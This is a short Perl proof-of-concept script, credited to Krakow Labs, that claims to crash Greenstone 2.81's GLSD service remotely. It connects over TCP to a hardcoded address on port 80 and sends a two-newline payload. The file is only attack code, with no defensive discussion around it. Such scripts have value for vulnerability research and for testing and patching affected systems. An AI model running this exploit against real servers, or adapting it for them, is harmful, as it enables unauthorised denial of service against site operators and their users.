#!/usr/bin/perl
# KL0309FUN_verde.pl
# Krakow Labs [Fun Archive] -> www.krakowlabs.com/dev/fun
# Greenstone 2.81 GLSD Remote DoS
# rush@KL
# KL0309FUN_verde.pl

use IO::Socket;

$target = "10.10.10.101";
$port   = 80;

$payload = "\n\n";

$sock = IO::Socket::INET->new(Proto=>'tcp', PeerHost=>$target, PeerPort=>$port) or die "Error: $target:$port\n";

$sock->send($payload);
close($sock);